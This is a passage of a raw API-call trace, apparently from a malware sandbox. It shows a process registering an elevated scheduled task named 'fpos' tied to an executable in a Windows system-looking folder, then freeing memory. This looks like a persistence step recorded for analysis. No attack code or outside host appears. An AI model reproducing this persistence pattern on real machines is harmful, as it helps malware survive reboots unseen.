(lpStart=" ", wMatch=0x5c) returned 0x0 [0155.846] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0155.846] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0155.846] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0155.846] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0155.847] StrChrW (lpStart=" ", wMatch=0x4f) returned 0x0 [0155.847] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0155.847] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0155.847] StrChrW (lpStart=" ", wMatch=0x34) returned 0x0 [0155.847] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0155.847] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0155.847] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0155.847] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0155.847] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0155.847] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0155.847] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0155.847] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0155.847] StrChrW (lpStart=" ", wMatch=0x34) returned 0x0 [0155.847] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0155.847] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0155.847] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0155.847] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0155.847] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0155.847] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0155.847] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0155.847] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0155.847] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0155.847] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0155.847] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0155.847] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0155.847] IUnknown:Release (This=0x6460c0) returned 0x1 [0155.848] IUnknown:Release (This=0x647d20) returned 0x1 [0155.848] ITaskDefinition:get_Triggers (in: This=0x647c60, ppTriggers=0x23c760 | out: ppTriggers=0x23c760*=0x647e60) returned 0x0 [0155.848] ITriggerCollection:Create (in: This=0x647e60, Type=9, ppTrigger=0x23c758 | out: ppTrigger=0x23c758*=0x646130) returned 0x0 [0155.848] IUnknown:QueryInterface (in: This=0x646130, riid=0xffbf1c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x23c750 | out: ppvObject=0x23c750*=0x646130) returned 0x0 [0155.848] IUnknown:Release (This=0x646130) returned 0x2 [0155.849] _vsnwprintf (in: _Buffer=0x23c6a0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x23c678 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0155.849] ITrigger:put_StartBoundary (This=0x646130, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0155.849] lstrlenW (lpString="") returned 0 [0155.849] lstrlenW (lpString="") returned 0 [0155.849] lstrlenW (lpString="") returned 0 [0155.849] lstrlenW (lpString="") returned 0 [0155.849] IUnknown:Release (This=0x646130) returned 0x1 [0155.849] IUnknown:Release (This=0x647e60) returned 0x1 [0155.849] ITaskDefinition:get_Settings (in: This=0x647c60, ppSettings=0x23cc00 | out: ppSettings=0x23cc00*=0x647ed0) returned 0x0 [0155.850] lstrlenW (lpString="") returned 0 [0155.850] IUnknown:Release (This=0x647ed0) returned 0x1 [0155.850] GetLocalTime (in: lpSystemTime=0x23cab8 | out: lpSystemTime=0x23cab8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0xf, wMilliseconds=0x18b)) [0155.850] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0155.850] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0155.850] GetUserNameW (in: lpBuffer=0x23cae0, pcbBuffer=0x23cac8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x23cac8) returned 1 [0155.851] ITaskDefinition:get_RegistrationInfo (in: This=0x647c60, ppRegistrationInfo=0x23cab0 | out: ppRegistrationInfo=0x23cab0*=0x647da0) returned 0x0 [0155.853] IRegistrationInfo:put_Author (This=0x647da0, Author="") returned 0x0 [0155.853] _vsnwprintf (in: _Buffer=0x23cae0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x23ca78 | out: _Buffer="2022-08-06T02:19:15") returned 19 [0155.853] IRegistrationInfo:put_Date (This=0x647da0, Date="") returned 0x0 [0155.853] IUnknown:Release (This=0x647da0) returned 0x1 [0155.853] malloc (_Size=0x18) returned 0x647f80 [0155.854] free (_Block=0x647f80) [0155.854] lstrlenW (lpString="") returned 0 [0155.854] ITaskDefinition:get_Principal (in: This=0x647c60, ppPrincipal=0x23ccd0 | out: ppPrincipal=0x23ccd0*=0x646010) returned 0x0 [0155.854] IPrincipal:put_RunLevel (This=0x646010, RunLevel=1) returned 0x0 [0155.854] IUnknown:Release (This=0x646010) returned 0x1 [0155.854] malloc (_Size=0x18) returned 0x647f80 [0155.854] ITaskFolder:RegisterTaskDefinition (in: This=0x647c10, Path="fpos", pDefinition=0x647c60, flags=6, UserId=0x23cd50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x23cd90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x23ec60, varVal2=0xfe), LogonType=3, sddl=0x23cd70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x23cc70 | out: ppTask=0x23cc70*=0x646380) returned 0x0 [0156.172] free (_Block=0x647f80) [0156.172] _memicmp (_Buf1=0x3cba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.172] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x3cd280, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0156.172] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0156.172] GetProcessHeap () returned 0x3b0000 [0156.172] GetProcessHeap () returned 0x3b0000 [0156.172] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd5c0) returned 1 [0156.172] GetProcessHeap () returned 0x3b0000 [0156.172] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd5c0) returned 0xe [0156.172] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd5c0 | out: hHeap=0x3b0000) returned 1 [0156.172] GetProcessHeap () returned 0x3b0000 [0156.172] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x82) returned 0x3e9b10 [0156.172] _vsnwprintf (in: _Buffer=0x23d3b0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x23cc18 | out: _Buffer="SUCCESS: The scheduled task \"fpos\" has successfully been created.\n") returned 66 [0156.172] _fileno (_File=0x7fefed02ab0) returned -2 [0156.173] _errno () returned 0x644bb0 [0156.173] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0156.173] SetLastError (dwErrCode=0x6) [0156.173] lstrlenW (lpString="SUCCESS: The scheduled task \"fpos\" has successfully been created.\n") returned 66 [0156.173] GetConsoleOutputCP () returned 0x0 [0156.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"fpos\" has successfully been created.\n", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0156.173] GetConsoleOutputCP () returned 0x0 [0156.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"fpos\" has successfully been created.\n", cchWideChar=66, lpMultiByteStr=0xffc31880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"fpos\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 66 [0156.173] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 66 [0156.173] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0156.174] IUnknown:Release (This=0x646380) returned 0x0 [0156.174] TaskScheduler:IUnknown:Release (This=0x647c60) returned 0x0 [0156.174] TaskScheduler:IUnknown:Release (This=0x647c10) returned 0x0 [0156.174] TaskScheduler:IUnknown:Release (This=0x647a50) returned 0x1 [0156.174] lstrlenW (lpString="") returned 0 [0156.174] GetProcessHeap () returned 0x3b0000 [0156.174] GetProcessHeap () returned 0x3b0000 [0156.174] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc2b0) returned 1 [0156.174] GetProcessHeap () returned 0x3b0000 [0156.174] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc2b0) returned 0x1fc [0156.174] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc2b0 | out: hHeap=0x3b0000) returned 1 [0156.174] GetProcessHeap () returned 0x3b0000 [0156.175] GetProcessHeap () returned 0x3b0000 [0156.175] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd4e0) returned 1 [0156.175] GetProcessHeap () returned 0x3b0000 [0156.175] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd4e0) returned 0x16 [0156.175] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd4e0 | out: hHeap=0x3b0000) returned 1 [0156.175] GetProcessHeap () returned 0x3b0000 [0156.175] GetProcessHeap () returned 0x3b0000 [0156.175] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd560) returned 1 [0156.175] GetProcessHeap () returned 0x3b0000 [0156.175] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd560) returned 0x18 [0156.175] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd560 | out: hHeap=0x3b0000) returned 1 [0156.175] GetProcessHeap () returned 0x3b0000 [0156.175] GetProcessHeap () returned 0x3b0000 [0156.175] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd50) returned 1 [0156.175] GetProcessHeap () returned 0x3b0000 [0156.175] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccd50) returned 0x20 [0156.175] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd50 | out: hHeap=0x3b0000) returned 1 [0156.175] GetProcessHeap () returned 0x3b0000 [0156.176] GetProcessHeap () returned 0x3b0000 [0156.176] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cbff0) returned 1 [0156.176] GetProcessHeap () returned 0x3b0000 [0156.176] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cbff0) returned 0xa0 [0156.176] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cbff0 | out: hHeap=0x3b0000) returned 1 [0156.176] GetProcessHeap () returned 0x3b0000 [0156.176] GetProcessHeap () returned 0x3b0000 [0156.176] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba70) returned 1 [0156.176] GetProcessHeap () returned 0x3b0000 [0156.176] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cba70) returned 0x18 [0156.176] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba70 | out: hHeap=0x3b0000) returned 1 [0156.176] GetProcessHeap () returned 0x3b0000 [0156.176] GetProcessHeap () returned 0x3b0000 [0156.176] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccb10) returned 1 [0156.176] GetProcessHeap () returned 0x3b0000 [0156.176] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccb10) returned 0x20 [0156.177] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccb10 | out: hHeap=0x3b0000) returned 1 [0156.177] GetProcessHeap () returned 0x3b0000 [0156.177] GetProcessHeap () returned 0x3b0000 [0156.177] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc250) returned 1 [0156.177] GetProcessHeap () returned 0x3b0000 [0156.177] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc250) returned 0x54 [0156.177] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc250 | out: hHeap=0x3b0000) returned 1 [0156.177] GetProcessHeap () returned 0x3b0000 [0156.177] GetProcessHeap () returned 0x3b0000 [0156.177] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd4c0) returned 1 [0156.177] GetProcessHeap () returned 0x3b0000 [0156.177] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd4c0) returned 0x18 [0156.177] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd4c0 | out: hHeap=0x3b0000) returned 1 [0156.177] GetProcessHeap () returned 0x3b0000 [0156.177] GetProcessHeap () returned 0x3b0000 [0156.177] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccae0) returned 1 [0156.177] GetProcessHeap () returned 0x3b0000 [0156.177] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccae0) returned 0x20 [0156.178] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccae0 | out: hHeap=0x3b0000) returned 1 [0156.178] GetProcessHeap () returned 0x3b0000 [0156.178] GetProcessHeap () returned 0x3b0000 [0156.178] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cdcd0) returned 1 [0156.178] GetProcessHeap () returned 0x3b0000 [0156.178] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cdcd0) returned 0x56 [0156.178] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cdcd0 | out: hHeap=0x3b0000) returned 1 [0156.178] GetProcessHeap () returned 0x3b0000 [0156.178] GetProcessHeap () returned 0x3b0000 [0156.178] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd540) returned 1 [0156.178] GetProcessHeap () returned 0x3b0000 [0156.178] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd540) returned 0x18 [0156.178] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd540 | out: hHeap=0x3b0000) returned 1 [0156.178] GetProcessHeap () returned 0x3b0000 [0156.178] GetProcessHeap () returned 0x3b0000 [0156.178] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccab0) returned 1 [0156.178] GetProcessHeap () returned 0x3b0000 [0156.178] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccab0) returned 0x20 [0156.179] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccab0 | out: hHeap=0x3b0000) returned 1 [0156.179] GetProcessHeap () returned 0x3b0000 [0156.179] GetProcessHeap () returned 0x3b0000 [0156.179] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd520) returned 1 [0156.179] GetProcessHeap () returned 0x3b0000 [0156.179] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd520) returned 0xe [0156.179] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd520 | out: hHeap=0x3b0000) returned 1 [0156.179] GetProcessHeap () returned 0x3b0000 [0156.179] GetProcessHeap () returned 0x3b0000 [0156.179] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd500) returned 1 [0156.179] GetProcessHeap () returned 0x3b0000 [0156.179] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd500) returned 0x18 [0156.180] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd500 | out: hHeap=0x3b0000) returned 1 [0156.180] GetProcessHeap () returned 0x3b0000 [0156.180] GetProcessHeap () returned 0x3b0000 [0156.180] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5d50) returned 1 [0156.180] GetProcessHeap () returned 0x3b0000 [0156.180] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5d50) returned 0x20 [0156.180] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5d50 | out: hHeap=0x3b0000) returned 1 [0156.180] GetProcessHeap () returned 0x3b0000 [0156.180] GetProcessHeap () returned 0x3b0000 [0156.180] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cbbf0) returned 1 [0156.180] GetProcessHeap () returned 0x3b0000 [0156.180] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cbbf0) returned 0x208 [0156.181] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cbbf0 | out: hHeap=0x3b0000) returned 1 [0156.181] GetProcessHeap () returned 0x3b0000 [0156.181] GetProcessHeap () returned 0x3b0000 [0156.181] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba50) returned 1 [0156.181] GetProcessHeap () returned 0x3b0000 [0156.181] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cba50) returned 0x18 [0156.181] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba50 | out: hHeap=0x3b0000) returned 1 [0156.181] GetProcessHeap () returned 0x3b0000 [0156.181] GetProcessHeap () returned 0x3b0000 [0156.181] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5c60) returned 1 [0156.181] GetProcessHeap () returned 0x3b0000 [0156.181] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5c60) returned 0x20 [0156.181] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5c60 | out: hHeap=0x3b0000) returned 1 [0156.181] GetProcessHeap () returned 0x3b0000 [0156.181] GetProcessHeap () returned 0x3b0000 [0156.181] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd280) returned 1 [0156.181] GetProcessHeap () returned 0x3b0000 [0156.181] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd280) returned 0x200 [0156.182] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd280 | out: hHeap=0x3b0000) returned 1 [0156.182] GetProcessHeap () returned 0x3b0000 [0156.182] GetProcessHeap () returned 0x3b0000 [0156.182] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba90) returned 1 [0156.182] GetProcessHeap () returned 0x3b0000 [0156.182] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cba90) returned 0x18 [0156.182] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cba90 | out: hHeap=0x3b0000) returned 1 [0156.182] GetProcessHeap () returned 0x3b0000 [0156.182] GetProcessHeap () returned 0x3b0000 [0156.182] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5bd0) returned 1 [0156.182] GetProcessHeap () returned 0x3b0000 [0156.182] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5bd0) returned 0x20 [0156.182] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5bd0 | out: hHeap=0x3b0000) returned 1 [0156.182] GetProcessHeap () returned 0x3b0000 [0156.182] GetProcessHeap () returned 0x3b0000 [0156.182] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc200) returned 1 [0156.182] GetProcessHeap () returned 0x3b0000 [0156.182] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc200) returned 0x14 [0156.183] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc200 | out: hHeap=0x3b0000) returned 1 [0156.183] GetProcessHeap () returned 0x3b0000 [0156.183] GetProcessHeap () returned 0x3b0000 [0156.183] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc1e0) returned 1 [0156.183] GetProcessHeap () returned 0x3b0000 [0156.183] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc1e0) returned 0x18 [0156.183] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc1e0 | out: hHeap=0x3b0000) returned 1 [0156.183] GetProcessHeap () returned 0x3b0000 [0156.183] GetProcessHeap () returned 0x3b0000 [0156.183] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5b10) returned 1 [0156.183] GetProcessHeap () returned 0x3b0000 [0156.183] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5b10) returned 0x20 [0156.183] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5b10 | out: hHeap=0x3b0000) returned 1 [0156.183] GetProcessHeap () returned 0x3b0000 [0156.183] GetProcessHeap () returned 0x3b0000 [0156.183] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc220) returned 1 [0156.183] GetProcessHeap () returned 0x3b0000 [0156.183] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc220) returned 0x16 [0156.183] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc220 | out: hHeap=0x3b0000) returned 1 [0156.183] GetProcessHeap () returned 0x3b0000 [0156.183] GetProcessHeap () returned 0x3b0000 [0156.183] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc1a0) returned 1 [0156.184] GetProcessHeap () returned 0x3b0000 [0156.184] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc1a0) returned 0x18 [0156.184] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc1a0 | out: hHeap=0x3b0000) returned 1 [0156.184] GetProcessHeap () returned 0x3b0000 [0156.184] GetProcessHeap () returned 0x3b0000 [0156.184] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5ae0) returned 1 [0156.184] GetProcessHeap () returned 0x3b0000 [0156.184] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5ae0) returned 0x20 [0156.184] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5ae0 | out: hHeap=0x3b0000) returned 1 [0156.184] GetProcessHeap () returned 0x3b0000 [0156.184] GetProcessHeap () returned 0x3b0000 [0156.184] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cb9d0) returned 1 [0156.184] GetProcessHeap () returned 0x3b0000 [0156.184] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cb9d0) returned 0x2 [0156.184] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cb9d0 | out: hHeap=0x3b0000) returned 1 [0156.184] GetProcessHeap () returned 0x3b0000 [0156.184] GetProcessHeap () returned 0x3b0000 [0156.184] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5930) returned 1 [0156.184] GetProcessHeap () returned 0x3b0000 [0156.184] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5930) returned 0x20 [0156.185] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5930 | out: hHeap=0x3b0000) returned 1 [0156.185] GetProcessHeap () returned 0x3b0000 [0156.185] GetProcessHeap () returned 0x3b0000 [0156.185] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5960) returned 1 [0156.185] GetProcessHeap () returned 0x3b0000 [0156.185] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5960) returned 0x20 [0156.185] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5960 | out: hHeap=0x3b0000) returned 1 [0156.185] GetProcessHeap () returned 0x3b0000 [0156.186] GetProcessHeap () returned 0x3b0000 [0156.186] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5990) returned 1 [0156.186] GetProcessHeap () returned 0x3b0000 [0156.186] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c5990) returned 0x20 [0156.186] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5990 | out: hHeap=0x3b0000) returned 1 [0156.186] GetProcessHeap () returned 0x3b0000 [0156.186] GetProcessHeap () returned 0x3b0000 [0156.186] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c59c0) returned 1 [0156.186] GetProcessHeap () returned 0x3b0000 [0156.186] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c59c0) returned 0x20 [0156.187] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c59c0 | out: hHeap=0x3b0000) returned 1 [0156.187] GetProcessHeap () returned 0x3b0000 [0156.187] GetProcessHeap () returned 0x3b0000 [0156.187] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccb40) returned 1 [0156.187] GetProcessHeap () returned 0x3b0000 [0156.187] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccb40) returned 0x20 [0156.187] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccb40 | out: hHeap=0x3b0000) returned 1 [0156.187] GetProcessHeap () returned 0x3b0000 [0156.187] GetProcessHeap () returned 0x3b0000 [0156.187] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd660) returned 1 [0156.187] GetProcessHeap () returned 0x3b0000 [0156.187] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd660) returned 0xc [0156.187] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd660 | out: hHeap=0x3b0000) returned 1 [0156.187] GetProcessHeap () returned 0x3b0000 [0156.187] GetProcessHeap () returned 0x3b0000 [0156.187] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccb70) returned 1 [0156.187] GetProcessHeap () returned 0x3b0000 [0156.187] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccb70) returned 0x20 [0156.188] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccb70 | out: hHeap=0x3b0000) returned 1 [0156.188] GetProcessHeap () returned 0x3b0000 [0156.188] GetProcessHeap () returned 0x3b0000 [0156.188] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c7a50) returned 1 [0156.188] GetProcessHeap () returned 0x3b0000 [0156.188] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c7a50) returned 0x30 [0156.188] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c7a50 | out: hHeap=0x3b0000) returned 1 [0156.188] GetProcessHeap () returned 0x3b0000 [0156.188] GetProcessHeap () returned 0x3b0000 [0156.188] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccba0) returned 1 [0156.188] GetProcessHeap () returned 0x3b0000 [0156.188] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccba0) returned 0x20 [0156.189] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccba0 | out: hHeap=0x3b0000) returned 1 [0156.189] GetProcessHeap () returned 0x3b0000 [0156.189] GetProcessHeap () returned 0x3b0000 [0156.189] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c7a90) returned 1 [0156.189] GetProcessHeap () returned 0x3b0000 [0156.189] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3c7a90) returned 0x30 [0156.189] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c7a90 | out: hHeap=0x3b0000) returned 1 [0156.189] GetProcessHeap () returned 0x3b0000 [0156.189] GetProcessHeap () returned 0x3b0000 [0156.189] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd20) returned 1 [0156.189] GetProcessHeap () returned 0x3b0000 [0156.189] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccd20) returned 0x20 [0156.190] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, 